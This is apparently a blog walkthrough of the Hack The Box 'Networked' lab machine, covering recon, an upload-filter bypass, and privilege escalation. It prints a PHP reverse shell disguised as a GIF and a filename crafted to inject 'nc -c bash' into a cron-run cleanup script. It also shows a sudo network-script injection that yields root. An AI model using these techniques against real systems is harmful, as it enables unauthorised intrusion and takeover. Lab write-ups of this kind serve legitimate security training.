Hackthebox – Networked

root@kalivm:~/Networked# nmap -A 10.10.10.146 -oN fullscan-A
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-20 11:40 CEST
Nmap scan report for 10.10.10.146
Host is up (0.016s latency).
Not shown: 997 filtered ports
PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
|   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_  256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp  open   http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https
Aggressive OS guesses: Linux 3.10 - 4.11 (94%), Linux 3.2 - 4.9 (90%), Linux 3.13 (90%), Linux 3.13 or 4.2 (90%), Linux 4.1 (90%), Linux 4.10 (90%), Linux 4.2 (90%), Linux 4.4 (90%), Asus RT-AC66U WAP (90%), Linux 3.10 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 443/tcp)
HOP RTT      ADDRESS
1   15.98 ms 10.10.12.1
2   16.86 ms 10.10.10.146 (10.10.10.146)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.31 seconds

So only ports 22 and 80 are open, port 443 is even explicitly closed. Next step is now to analyze the web server and any web applications hosted on it.

After opening just the IP address, I find a page with not much content other than a reference to a FaceMash thing being built. Analysis of the source of the page also does not yield much additional information so I decide to run a gobuster scan on it.

root@kalivm:~/Networked# gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt -u http://networked.htb
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://networked.htb
[+] Threads:        10
[+] Wordlist:       /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2019/09/20 11:51:14 Starting gobuster
===============================================================
/backup (Status: 301)
/uploads (Status: 301)
===============================================================
2019/09/20 11:53:04 Finished
===============================================================

The gobuster scan finds a backup and uploads directory. Upon inspection the uploads directory is not really worth any attention so I focus on the backups directory.

The backup directory contains a tar file which I can download and analyze.

root@kalivm:~/Networked# wget http://networked.htb/backup/backup.tar
--2019-09-20 11:47:00--  http://networked.htb/backup/backup.tar
Resolving networked.htb (networked.htb)... 10.10.10.146
Connecting to networked.htb (networked.htb)|10.10.10.146|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10240 (10K) [application/x-tar]
Saving to: ‘backup.tar’

backup.tar                       100%[=========================================================>]  10.00K  --.-KB/s    in 0s      

2019-09-20 11:47:00 (55.8 MB/s) - ‘backup.tar’ saved [10240/10240]

root@kalivm:~/Networked# tar xvf backup.tar 
index.php
lib.php
photos.php
upload.php

After some careful analysis of the files, one thing I noticed was the way images are checked (based on their Content-Type and file extension). Another thing that stood out for me, was the fact that all error messages were uniquely identifiable so that you could easily track where you made a mistake.

if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
      echo '<pre>Invalid image file.</pre>';
      displayform();
    }

The mime-type check included a dot at the end of the message.

list ($foo,$ext) = getnameUpload($myFile["name"]);
    $validext = array('.jpg', '.png', '.gif', '.jpeg');
    $valid = false;
    foreach ($validext as $vext) {
      if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
        $valid = true;
      }
    }

    if (!($valid)) {
      echo "<p>Invalid image file</p>";
      displayform();
      exit;
    }

While the extension check did not! So after further analysis of the files, I decided to check the files that I had not yet discovered for their existence on the web server.

So the photos page is there, showing some of the files, and also the upload.php file appears to be present.

After looking at the various files in the backup file, it appears that I may be able to upload a file to the web server which will then be displayed by the photos.php page. However, I do have to bypass the mime type and extension checking so I prepare a standard php reverse shell file to appear as if it is a GIF image by adding an image header.

root@kalivm:~/Networked# head shell.php 
GIF89a;
< ?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.12.29';  // CHANGE THIS
$port = 9999;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';

Then I try to upload the file and alter the request in Burp Suite so that it appears as if it is an image file with a .gif extension.

In the request, I modify the file type and file name of the shell.php file.

Once I click the forward button, I get confirmation in my browser that upload was successful!

When I reload the photos page, now containing the malicious .php.gif file, I get a nice shell on the box!

root@kalivm:~/Networked# nc -nlvp 9999
Listening on 0.0.0.0 9999
Connection received on 10.10.10.146 43740
Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 15:19:58 up 2 min,  0 users,  load average: 0.21, 0.23, 0.10
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
sh-4.2$ 

Doing my initial analysis of the box contents, I browse around on the system and find interesting readable files in Guly’s home directory.

sh-4.2$ ls -al /home/guly
ls -al /home/guly
total 28
drwxr-xr-x. 3 guly guly 171 Sep 20 15:52 .
drwxr-xr-x. 3 root root  18 Jul  2 13:27 ..
lrwxrwxrwx. 1 root root   9 Jul  2 13:35 .bash_history -> /dev/null
-rw-r--r--. 1 guly guly  18 Oct 30  2018 .bash_logout
-rw-r--r--. 1 guly guly 193 Oct 30  2018 .bash_profile
-rw-r--r--. 1 guly guly 231 Oct 30  2018 .bashrc
-rw-------  1 guly guly 639 Jul  9 13:40 .viminfo
-r--r--r--. 1 root root 782 Oct 30  2018 check_attack.php
-rw-r--r--  1 root root  44 Oct 30  2018 crontab.guly
-r--------. 1 guly guly  33 Oct 30  2018 user.txt

So I analyze the check_attack.php script.

bash-4.2$ cat check_attack.php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
	$msg='';
  if ($value == 'index.html') {
	continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>

So this script checks all files in the /var/www/html/uploads directory and then performs an rm -f on each file. However, if I can create a filename that looks just like a linux command, it will execute that just the same. One nifty trick that was found in this article. But first I will have to know if the file is being called at all.

bash-4.2$ cat crontab.guly
cat crontab.guly
*/3 * * * * php /home/guly/check_attack.php

Since there is also a crontab file present in Guly’s home directory, I check that and see that every 3 minutes, the script is executed by Guly.

bash-4.2$ cd /var/www/html/uploads
bash-4.2$ touch "; nc -c bash 10.10.12.29 8000 #"

So I go to the /var/www/html/uploads directory, and use the touch command to create a file containing just what I need to get a shell. Now all I have to do is wait for a maximum of three minutes and get the flag!

root@kalivm:~/Networked# nc -nlvp 8000
Listening on 0.0.0.0 8000
Connection received on 10.10.10.146 44372
id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
python -c 'import pty;pty.spawn("/bin/bash")'
[guly@networked ~]$ cat user.txt
cat user.txt
526cfc23<NOFLAG>acecf212c57d71c5

Privilege Escalation

One of the standard and most common steps in privilege escalation is to see if there is anything that can be run using the sudo command.

[guly@networked ~]$ sudo -l
sudo -l
Matching Defaults entries for guly on networked:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh

Apparently Guly is allowed to run a changename.sh script. Since I can run this as root without providing a password, I have to check the content of changename script to see if there is anything I can abuse.

[guly@networked ~]$ cat /usr/local/sbin/changename.sh
cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF 
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
	echo "interface $var:"
	read x
	while [[ ! $x =~ $regexp ]]; do
		echo "wrong input, try again"
		echo "interface $var:"
		read x
	done
	echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
  
/sbin/ifup guly0

After some running around in circles with this script, I was finally pointed investigate a known vulnerability with network scripts in RedHat and CentOS. This led me to this article which was basically the answer to ‘how to become root’. After following exactly those steps, I got the root flag in a second.

[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
sudo /usr/local/sbin/changename.sh
interface NAME:
network /bin/bash
network /bin/bash
interface PROXY_METHOD:
a
a
interface BROWSER_ONLY:
a
a
interface BOOTPROTO:
a
a
[root@networked network-scripts]# cd ~
cd ~
[root@networked ~]# cat root.txt
cat root.txt
0a8ecda8<NOFLAG>1099e8ac3d0dcb82

 

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.